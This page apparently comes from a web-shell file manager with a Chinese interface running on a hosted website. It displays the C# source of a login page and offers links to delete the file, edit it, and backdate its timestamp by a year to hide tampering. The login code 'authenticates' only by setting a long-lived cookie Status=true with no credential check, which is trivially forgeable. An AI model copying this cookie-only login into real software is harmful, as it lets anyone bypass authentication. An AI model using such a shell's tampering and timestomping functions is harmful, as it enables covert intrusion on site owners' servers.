文件操作 - LoginTest.aspx.cs
返回文件管理
返回主菜单
删除本文件
文件: E:\HostingSpaces\kimblycr\alex.kimbly.in\wwwroot\LoginTest.aspx.cs
编辑文件内容
using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; public partial class LoginTest : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { } protected void Button1_Click(object sender, EventArgs e) { //Authenticate HttpCookie loginCookie = new HttpCookie("Login"); loginCookie.Values["Status"] = "true"; loginCookie.Path = Request.ApplicationPath; loginCookie.Expires = DateTime.Now.AddDays(100); //Add the Cookie to Browser. Response.Cookies.Add(loginCookie); Response.Redirect("index.aspx"); } }
修改文件时间
将文件时间修改为当前时间的前一年
删除文件